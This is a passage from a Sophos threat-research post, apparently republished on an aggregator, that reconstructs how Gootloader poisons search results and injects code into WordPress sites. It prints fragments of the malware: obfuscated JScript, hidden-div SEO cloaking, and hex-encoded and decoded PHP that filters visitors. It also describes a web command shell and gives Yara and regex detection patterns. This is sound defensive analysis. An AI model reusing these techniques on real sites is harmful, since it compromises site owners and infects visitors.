{"id":25686,"date":"2025-01-16T11:21:08","date_gmt":"2025-01-16T19:21:08","guid":{"rendered":"https:\/\/www.palada.net\/index.php\/2025\/01\/16\/news-19409\/"},"modified":"2025-01-16T11:21:08","modified_gmt":"2025-01-16T19:21:08","slug":"news-19409","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2025\/01\/16\/news-19409\/","title":{"rendered":"Gootloader inside out"},"content":{"rendered":"<p><strong>Credit to Author: Gabor Szappanos| Date: Thu, 16 Jan 2025 17:00:02 +0000<\/strong><\/p>\n<div class=\"entry-content lg:prose-lg mx-auto prose max-w-4xl\">\n<p>The Gootloader malware family uses <a href=\"https:\/\/news.sophos.com\/en-us\/2021\/03\/01\/gootloader-expands-its-payload-delivery-options\/\">a distinctive form of social engineering<\/a> to infect computers: Its creators lure people to visit compromised, legitimate WordPress websites using hijacked Google search results, present the visitors to these sites with a simulated online message board, and link to the malware from a simulated \u201cconversation\u201d where a fake visitor asks a fake site admin the exact question that the victim was searching for an answer to.<\/p>\n<p>Most of the infection process is driven by code that runs on the compromised WordPress server\u00a0 and another server <a href=\"https:\/\/news.sophos.com\/en-us\/2021\/08\/12\/gootloaders-mothership-controls-malicious-content\/\">we have previously named \u201cthe mothership\u201d<\/a> that orchestrates an elaborate and complex dance to dynamically produce a page that seemingly <a href=\"https:\/\/news.sophos.com\/en-us\/2024\/11\/06\/bengal-cat-lovers-in-australia-get-psspsspssd-in-google-driven-gootloader-campaign\/\">answers the exact question you\u2019re asking<\/a>. Gootloader\u2019s operators make behind the scenes, almost unnoticeable changes to the compromised WordPress sites that cause those sites to load the extra content from the mothership.<\/p>\n<p>Every aspect of this process is obfuscated to such a degree that even the owners of the compromised WordPress pages often cannot identify the modifications in their own site or trigger the Gootloader code to run when they visit their own pages. At the same time, unless you control one of the affected WordPress sites, it can be very difficult (if not impossible) to get a hold of this code to study it: The modified WordPress database entries and PHP scripts that comprise Gootloader reside only on the compromised server, where security researchers normally cannot access them (barring physical or shell access to the server, itself).<\/p>\n<p>Sophos X-Ops has <a href=\"https:\/\/news.sophos.com\/en-us\/tag\/gootloader\/\">previously reported on various aspects of Gootloader<\/a>. However, Sophos X-Ops has reconstructed how Gootloader\u2019s server-side operations function, using breadcrumbs and clues left by both the threat actors (and by other security researchers) published in open-source tools around the internet. We have pulled this collective knowledge together into this report.<\/p>\n<p>In this post, I\u2019ll explain how I was able to reconstruct how the malicious SEO works; how the landing page code on the initial, compromised website validates visitors then redirects some of them to a second website; how the Gootloader operators use the second website to generate a realistic-looking message board dynamically; how the multi-stage infection process works; and how all of these parts are orchestrated by a \u201cmothership\u201d server, controlled by Gootloader\u2019s operators, to control who gets attacks, and which visitors get bounced back to Google\u2019s homepage.<\/p>\n<h2>Gootloader\u2019s poisoned SEO<\/h2>\n<figure id=\"attachment_959288\" aria-describedby=\"caption-attachment-959288\" style=\"width: 623px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image1.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-959288 size-full\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image1.png\" alt=\"A list of Gootloader JScript filenames, which correspond to the search query that led victims to download them\" width=\"623\" height=\"206\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image1.png 623w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image1.png?resize=300,99 300w\" sizes=\"auto, (max-width: 623px) 100vw, 623px\" \/><\/a><figcaption id=\"caption-attachment-959288\" class=\"wp-caption-text\">A list of Gootloader JScript filenames, which correspond to the search query that led victims to download them<\/figcaption><\/figure>\n<p>Gootloader has been using a virtually unchanged malicious SEO method <a href=\"https:\/\/blog.sucuri.net\/2017\/03\/spotting-a-hidden-seo-hack-play-one.html\">for nearly eight years<\/a>. When we have done threat hunting in the past, we\u2019ve used our own telemetry to find the key phrases Gootloader used to deliver a malicious JScript file: Gootloader always names these first-stage files to match the search phrase that led the victim into the trap.<\/p>\n<p>Finding new names for these first-stage downloaders also means discovering new phrases the Gootloader operators are using as lures. It was VirusTotal\u2019s live hunting and retrohunting services that led us to these updated payloads, despite the fact that Gootloader\u2019s creators use code obfuscation to an almost absurd degree. We had to come up with creating threat hunting queries such as the following Yara rule:<\/p>\n<pre>rule gootkit_js_stage1  {  \u00a0\u00a0 strings:  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 $a1 = \/function .{4,60}{return .{1,20} % .{0,8}(.{1,20}+.{1,20});}\/  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 $a2 = \/function [w]{1,14}(.{1,14},.{1,50}) {return .{1,14}.substr(.{1,10},.{1,10});}\/  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 $a3 = \/function [w]{1,14}(.{1,50}) {return .{1,14}.length;.{1,4}}\/  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 $a4 = \/function [w]{1,14}(.{0,40}){.{0,40};while ([w]{1,20} &lt; [23][d]{3}) {\/  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 $b1 = \/;WScript.Sleep([d]{4,10});\/  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 $b2 = \/function [w]{1,14}(.{0,40}) {.{0,40};while([w]{1,20}&lt;([w]{1,14}*[d]{1,8})){[w]{1,14}++}}\/  \u00a0\u00a0 condition:  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 all of ($a*) and any of ($b*)  }<\/pre>\n<p>While this rule was effective at the time of our research, Gootloader\u2019s operators have subsequently modified the JScript to render this search obsolete. In order to stay on top of these changes, we needed to analyze newer versions of the heavily obfuscated JScript code.<\/p>\n<p>As part of the obfuscation, the attackers break up the code. Every elementary capability is implemented in a separate function, initially featuring randomly generated variables, then later switching to variable names selected from a dictionary.<\/p>\n<p>In the example above,<em> $a1, $a2<\/em>, and <em>$a3<\/em> match functions that performed the elementary tasks in the decryptor.<\/p>\n<p>$a1 matches the function that determines the parity of a number, matching this obfuscated form:<\/p>\n<pre>function dance(expect,support,thin,foot,had){return expect % (magnet+magnet);}<\/pre>\n<p>$a2 matches the function that returns a substring from a string, matching this obfuscated form:<\/p>\n<pre>function supply(spoke,seed,your,build,charge,carry,sat) {return spoke.substr(seed,your);}<\/pre>\n<p>$a3 returns the length of a string, matching this obfuscated form:<\/p>\n<pre>function verb(consonant) {return consonant.length; }<\/pre>\n<p>$a4 implements the main decoder loop: it contains the length of the encoded part (somewhere between 2000 and 4000 bytes), matching this obfuscated form:<\/p>\n<pre>function wave(down){against=kill;hole=\"\";while (against &lt; 2146) {spell=cause(down,against);hole=cool(hole,spell,against); against++; }return hole;}<\/pre>\n<p>The code used long delays to make dynamic analysis more difficult, extending to hours the time needed to properly run the code.<\/p>\n<p>Initially, Gootloader used the WScript.Sleep function (matched by $b1) to create this delay. Over time, Gootloader\u2019s creators replaced this with a less recognizable implementation (matched by $b2), like this function, which essentially increments a counter for a very long time:<\/p>\n<pre>function string2(evening6) {  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 sky0=25;  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 while(sky0&lt;(evening6*4921)){  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 sky0++  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 }  }<\/pre>\n<p>Even though the code is highly obfuscated, knowing the structure of the code enabled us to create the above seemingly loose Yara rule \u2013 which caught thousands of first stage downloader scripts with zero false positives.<\/p>\n<p>Once we had the original file names, we had the search terms. With those, we could find the landing pages: The Gootloader operators were successful in manipulating the search results and the compromised landing sites, such that they end up near the top of the search results (even in the first result, as in the example below):<\/p>\n<figure style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image2.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-959289 size-full\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image2.png\" alt=\"Gootloader has poisoned search results in multiple languages, including German, French, and Korean \" width=\"640\" height=\"207\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image2.png 883w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image2.png?resize=300,97 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image2.png?resize=768,249 768w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption class=\"wp-caption-text\">Gootloader has poisoned search results in multiple languages, including German, French, and Korean<\/figcaption><\/figure>\n<h3>How did the malicious pages end up at the top of the search results?<\/h3>\n<p>We were able to learn how the malicious SEO was so effective by inspecting the HTML source of the search landing pages.<\/p>\n<p>There is a hidden element, the name of which is actually a server ID, used at many places in the code (<em>a47ec48<\/em> in the following example). It starts with the letter \u2018a\u2019 followed by 6 hexadecimal characters:<\/p>\n<pre>&lt;div id=\"a47ec48 \"&gt;  ...  &lt;div&gt;&lt;script type=\"text\/javascript\"&gt; document.getElementById(\"a47ec48 \").style.display=\"none\"; &lt;\/script&gt;<\/pre>\n<figure id=\"attachment_959290\" aria-describedby=\"caption-attachment-959290\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image3.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-959290 size-full\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image3.png\" alt=\"Source of the Gootkit\/Gootloader landing pages reveal a number of different search terms and phrases the threat actors wanted search engines to index. The linked subpages (selected with green) don't actually exist. The injected WordPress code defines a few hooks, one of them is for non-existing pages. This will serve the fake forum discussion, when the victim clicks on the search result\" width=\"640\" height=\"429\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image3.png 1190w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image3.png?resize=300,201 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image3.png?resize=768,515 768w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image3.png?resize=1024,687 1024w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959290\" class=\"wp-caption-text\">Source of the Gootloader landing pages reveal a number of different search terms and phrases the threat actors wanted search engines to index. The linked subpages (selected with green) don&#8217;t actually exist. The injected WordPress code defines a few hooks, one of them is for non-existing pages. This will serve the fake forum discussion, when the victim clicks on the search result<\/figcaption><\/figure>\n<p>That hidden element had links (selected with green) and the matching targeted search terms (selected with brown):<\/p>\n<p>This hidden element will not be visible to human webpage visitors. But search engine crawlers see and process it, which tricks the search engines into treating the website as if it provides relevant content on the poisoned search term, thus ranking the site high in the search results.<\/p>\n<h3>Compromised landing page code<\/h3>\n<p>When security vendor Sucuri wrote up a <a href=\"https:\/\/blog.sucuri.net\/2018\/12\/clever-seo-spam-injection.html\">blog post about an earlier generation of Gootloader<\/a>, it included this screenshot:<\/p>\n<figure id=\"attachment_959291\" aria-describedby=\"caption-attachment-959291\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image4.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959291\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image4.png\" alt=\" A screenshot of the source code from a Gootkit\/Goodloader landing page. Image courtesy of Sucuri Research.\" width=\"640\" height=\"401\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image4.png 650w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image4.png?resize=300,188 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959291\" class=\"wp-caption-text\">A screenshot of the source code from a Gootkit\/Goodloader landing page. Image courtesy of Sucuri Research.<\/figcaption><\/figure>\n<p>The report (and screenshot) revealed three promising strings:<\/p>\n<ul>\n<li>The request: <em>$_GET[&#8216;a55d837\u2019<\/em><\/li>\n<li>A malicious web domain name:<em> \u2018my-game[.]biz\u2019<\/em><\/li>\n<li>A SQL query (shown on a different screenshot in Sucuri\u2019s blog): <em>\u2018SELECT * FROM backupdb_\u2019<\/em><\/li>\n<\/ul>\n<p>Searching Google for code fragment <em>$_GET[&#8216;a55d837\u2019<\/em> led us to <a href=\"http:\/\/ddecode.com\/hexdecoder\/\">an online decoder<\/a> page, where the result (now deleted) of another researcher\u2019s query revealed the encoded version of the PHP code used in the malicious web page:<\/p>\n<pre>function qwc1() {  \u00a0\u00a0\u00a0 global $wpdb, $table_prefix, $qwc1;  \u00a0\u00a0\u00a0 $qwc2 = explode('.', $_SERVER[\"x52105x4d117x54105x5f101x44104x52\"]);  \u00a0\u00a0\u00a0 if (sizeof($qwc2) == 4) {  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if ($wpdb - &gt; get_var(\"x53105x4c105x43124x20105x58111x53124x5340x28123x45114x45103x5440x2a40x46122x4f115x20142x61143x6b165x70144x62137\".$table_prefix.  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \"x6c163x74141x7440x57110x45122x4540x77160x2075x2047\".$qwc2[0].  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 '|'.$qwc2[1].  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 '|'.$qwc2[2].  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \"x2751x3b\") == 1) {<\/pre>\n<p>and the decoded version of that same script:<\/p>\n<pre>function qwc1() {  \u00a0\u00a0\u00a0 global $wpdb, $table_prefix, $qwc1;  \u00a0\u00a0\u00a0 $qwc2 = explode('.', $_SERVER[\"REMOTE_ADDR\"]);  \u00a0\u00a0\u00a0 if (sizeof($qwc2) == 4) {  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if ($wpdb - &gt; get_var(\"SELECT EXISTS (SELECT * FROM backupdb_\".$table_prefix.  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \"lstat WHERE wp = '\".$qwc2[0].  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 '|'.$qwc2[1].  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 '|'.$qwc2[2].  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \"');\") == 1) {<\/pre>\n<p>While it isn\u2019t clear how the code ended up on that website, the Internet never forgets: Search engines found and indexed this analysis. This gave us the first insight at what the injected code of the compromised landing pages would look like.<\/p>\n<p>(Both the analysis linked above, and another page I subsequently found on <a href=\"https:\/\/malwaredecoder.com\" target=\"_blank\" rel=\"noopener\">malwaredecoder.com<\/a>, were later removed by their respective site owners. Search results that reveal ephemeral analysis pages like these are only available for a short period of time. If you plan to cite source materials from sites such as these, keep an offline copy of the page, because they may not be there when you return.)<\/p>\n<p>At this point we didn\u2019t know exactly how the sites are compromised, but we knew from the report that malicious PHP code is somehow inserted into the WordPress installation.<\/p>\n<p>The search on Virustotal for <em>content:&#8221;SELECT * FROM backupdb_&#8221;<\/em> gives a couple of files from a compromised server that contain an error message:<\/p>\n<pre>&lt;div id=\"error\"&gt;&lt;p class=\"wpdberror\"&gt;&lt;strong&gt;WordPress database error:&lt;\/strong&gt; [Table 'interfree.backupdb_wp_lstat' doesn't exist]&lt;br \/&gt;&lt;code&gt;SELECT EXISTS (SELECT * FROM backupdb_wp_lstat WHERE wp = '117|50|2');&lt;\/code&gt;&lt;\/p&gt;&lt;\/div&gt;&lt;!DOCTYPE html&gt;<\/pre>\n<p>The criminals are likely using the database <em>backupdb_wp_lstat<\/em>, which must have been removed from the server during a cleanup. We were hunting for this content on VirusTotal (search term: <em>content:&#8221;backupdb_wp_lstat&#8221;<\/em>), hoping we would stumble upon a database dump. It is always a good idea to set up these rules and do additional retrohunts, which can reveal other valuable files or data.<\/p>\n<p>We were lucky, and found an archive file containing a SQL dump of the WordPress database from a compromised server on a public malware repository.<\/p>\n<figure id=\"attachment_959292\" aria-describedby=\"caption-attachment-959292\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image5.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-959292 size-full\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image5.png\" alt=\"The WordPress database dump included this table that contains a set of the first three octets of IP addresses, a block list of IP ranges that cannot revisit the Gootloader website on the same day\" width=\"640\" height=\"271\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image5.png 986w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image5.png?resize=300,127 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image5.png?resize=768,325 768w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959292\" class=\"wp-caption-text\">The WordPress database dump included this table that contains a set of the first three octets of IP addresses, a block list of IP ranges that cannot revisit the Gootloader website on the same day<\/figcaption><\/figure>\n<p>The dumped database contains a table called <em>backupdb_wp_lstat<\/em>. Later analysis determined that this table contains the IP address blocklist the malicious website uses to prevent repeat visits.<\/p>\n<p>The obfuscated PHP code was also viewable in the database dump:<\/p>\n<figure id=\"attachment_959293\" aria-describedby=\"caption-attachment-959293\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image6.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-959293 size-full\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image6.png\" alt=\"A block of base64-encoded data stored as a variable named $pposte in a WordPress database\" width=\"640\" height=\"361\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image6.png 1207w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image6.png?resize=300,169 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image6.png?resize=768,433 768w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image6.png?resize=1024,577 1024w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959293\" class=\"wp-caption-text\">A block of base64-encoded data stored as a variable named $pposte in a WordPress database<\/figcaption><\/figure>\n<p>&#8230;as was the injected SEO poisoning content, with the <em>j$k..j$k <\/em>marker:<\/p>\n<figure id=\"attachment_959294\" aria-describedby=\"caption-attachment-959294\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image7.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959294\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image7.png\" alt=\"Malicious SEO content phrases embedded in a WordPress database table, linking the site to an Excel spreadsheet converter search query\" width=\"640\" height=\"298\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image7.png 1208w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image7.png?resize=300,140 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image7.png?resize=768,357 768w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image7.png?resize=1024,476 1024w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959294\" class=\"wp-caption-text\">Malicious SEO content phrases embedded in a WordPress database table, linking the site to an Excel spreadsheet converter search query<\/figcaption><\/figure>\n<p>Researchers who want to hunt for this identifiable string in the Descriptions property of the malicious landing pages can use the regex\u00a0 <em>\/j$k([0-9]{1,10})j$k\/<\/em><\/p>\n<figure id=\"attachment_959295\" aria-describedby=\"caption-attachment-959295\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image8.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959295\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image8.png\" alt=\"The &quot;place marker&quot; string appears in the OpenGraph metadata SEO headers of a Gootkit\/Gootloader-modified web page\" width=\"640\" height=\"189\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image8.png 878w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image8.png?resize=300,88 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image8.png?resize=768,227 768w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959295\" class=\"wp-caption-text\">The &#8220;place marker&#8221; string appears in the OpenGraph metadata SEO headers of a Gootloader-modified web page<\/figcaption><\/figure>\n<p>This marker serves as placeholder for the spot where Gootloader\u2019s link to the page renderer script is inserted. When the Gootloader page is served up, it excludes the marker from the page source.<\/p>\n<p>However, the code extracted from the SQL database dump was not exactly the same as what was shown in the Sucuri blog. We continued searching for more examples by pivoting on the C2 server <strong>my-game[.]biz<\/strong>, and found a handful of PHP files referring to that server:<\/p>\n<figure id=\"attachment_959296\" aria-describedby=\"caption-attachment-959296\" style=\"width: 820px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image9.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-959296\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image9.png\" alt=\"Files that contain references to the Gootloader &quot;mothership&quot; website (screenshot courtesy of VirusTotal)\" width=\"820\" height=\"164\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image9.png 997w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image9.png?resize=300,60 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image9.png?resize=768,153 768w\" sizes=\"auto, (max-width: 820px) 100vw, 820px\" \/><\/a><figcaption id=\"caption-attachment-959296\" class=\"wp-caption-text\">Files that contain references to the Gootloader &#8220;mothership&#8221; website (screenshot courtesy of VirusTotal)<\/figcaption><\/figure>\n<p>The submission name <em>commented_functions.php<\/em> looked promising. Indeed, it turned out to be likely the work of a researcher, analyzing the PHP source code from the compromised WordPress installation. It was kindly documented in detail, saving us some analysis time (which also helped because we didn\u2019t have all the components).<\/p>\n<figure id=\"attachment_959297\" aria-describedby=\"caption-attachment-959297\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image10.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959297\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image10.png\" alt=\"Commented text, preceded with double slashes, documents the Gootkit characteristics of modified web pages\" width=\"640\" height=\"343\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image10.png 1306w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image10.png?resize=300,161 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image10.png?resize=768,412 768w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image10.png?resize=1024,549 1024w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959297\" class=\"wp-caption-text\">Commented text, preceded with double slashes, documents the Gootkit characteristics of modified web pages<\/figcaption><\/figure>\n<p>We were able to use the base64 string referenced in the \u201chtml\u201d comment above to search VirusTotal, which led us to a (relatively) recently uploaded SQL dump.<\/p>\n<figure id=\"attachment_959298\" aria-describedby=\"caption-attachment-959298\" style=\"width: 906px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image11.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-959298\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image11.png\" alt=\"a WordPress database dump in VirusTotal\" width=\"906\" height=\"184\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image11.png 1461w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image11.png?resize=300,61 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image11.png?resize=768,156 768w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image11.png?resize=1024,208 1024w\" sizes=\"auto, (max-width: 906px) 100vw, 906px\" \/><\/a><figcaption id=\"caption-attachment-959298\" class=\"wp-caption-text\">a WordPress database dump in VirusTotal<\/figcaption><\/figure>\n<p>The dump file contained the previously referenced base64 blob&#8230;<\/p>\n<figure id=\"attachment_959299\" aria-describedby=\"caption-attachment-959299\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image12.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-959299 size-full\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image12.png\" alt=\" A SQL dump from a compromised WordPress installation contains base64-encoded elements of the Gootkit\/Gootloader modifications\" width=\"640\" height=\"265\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image12.png 1154w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image12.png?resize=300,124 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image12.png?resize=768,317 768w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image12.png?resize=1024,423 1024w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959299\" class=\"wp-caption-text\">A SQL dump from a compromised WordPress installation contains base64-encoded elements of the Gootkit\/Gootloader modifications<\/figcaption><\/figure>\n<p>&#8230;which, when decoded, output the same code that was originally published by Sucuri:<\/p>\n<figure id=\"attachment_959300\" aria-describedby=\"caption-attachment-959300\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image13.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959300\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image13.png\" alt=\"The decoded base64 data from the WordPress database reveals the PHP script that handles decoding the malicious content for a site visitor\" width=\"640\" height=\"378\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image13.png 1116w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image13.png?resize=300,177 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image13.png?resize=768,454 768w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image13.png?resize=1024,606 1024w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959300\" class=\"wp-caption-text\">The decoded base64 data from the WordPress database reveals the PHP script that handles decoding the malicious content for a site visitor<\/figcaption><\/figure>\n<p>With this in hand, we had greater confidence in the provenance of this malicious code. We also identified \u00a0the table where Gootloader stores it in a compromised WordPress database. Having located the dump of the WordPress database and the PHP code on the online decoder site, we have a complete copy of the malicious content hosted on the compromised landing sites.<\/p>\n<h3>What\u2019s in the landing page code?<\/h3>\n<p>This code contains a simple PHP command shell, which the Gootloader attackers can use to maintain access to compromised pages.<\/p>\n<p>The variable <em>$pposte<\/em> holds the name of the parameter that gets executed. If the compromised website receives an HTTPS POST with that string in it, the code on the page will decode 